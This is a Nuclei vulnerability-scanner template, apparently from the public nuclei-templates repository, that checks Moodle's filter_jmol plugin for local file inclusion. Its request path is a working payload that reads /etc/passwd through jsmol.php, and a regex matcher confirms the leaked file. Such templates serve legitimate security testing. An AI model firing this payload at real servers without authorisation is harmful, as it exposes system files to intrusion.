nuclei-templates/vulnerabilities/moodle-filter-jmol-lfi.yaml

21 lines
426 B
YAML

id: moodle-filter-jmol-lfi
info:
name: Moodle filter_jmol LFI
author: madrobot
severity: high
requests:
- method: GET
path:
- "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "root:[x*]:0:0:"
part: body